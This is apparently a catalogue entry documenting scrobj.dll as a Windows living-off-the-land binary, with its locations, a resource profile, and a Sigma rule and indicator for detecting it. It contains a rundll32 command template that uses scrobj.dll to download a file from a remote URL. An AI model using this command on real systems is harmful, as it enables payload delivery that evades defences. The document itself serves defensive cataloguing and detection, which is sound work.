Windows Script Component Runtime Located at: c:\windows\system32\scrobj.dll; c:\windows\syswow64\scrobj.dll.
scrobjscrobjSandbox: execFile · Timeout: 30s
network.transfer.download Outputs
process.output Command execution output
network_traffic Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache. (Download file from remote location.)
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}| Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml |
| ioc | Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line |
scrobj is a Windows LOLBin. Windows Script Component Runtime Located at: c:\windows\system32\scrobj.dll; c:\windows\syswow64\scrobj.dll.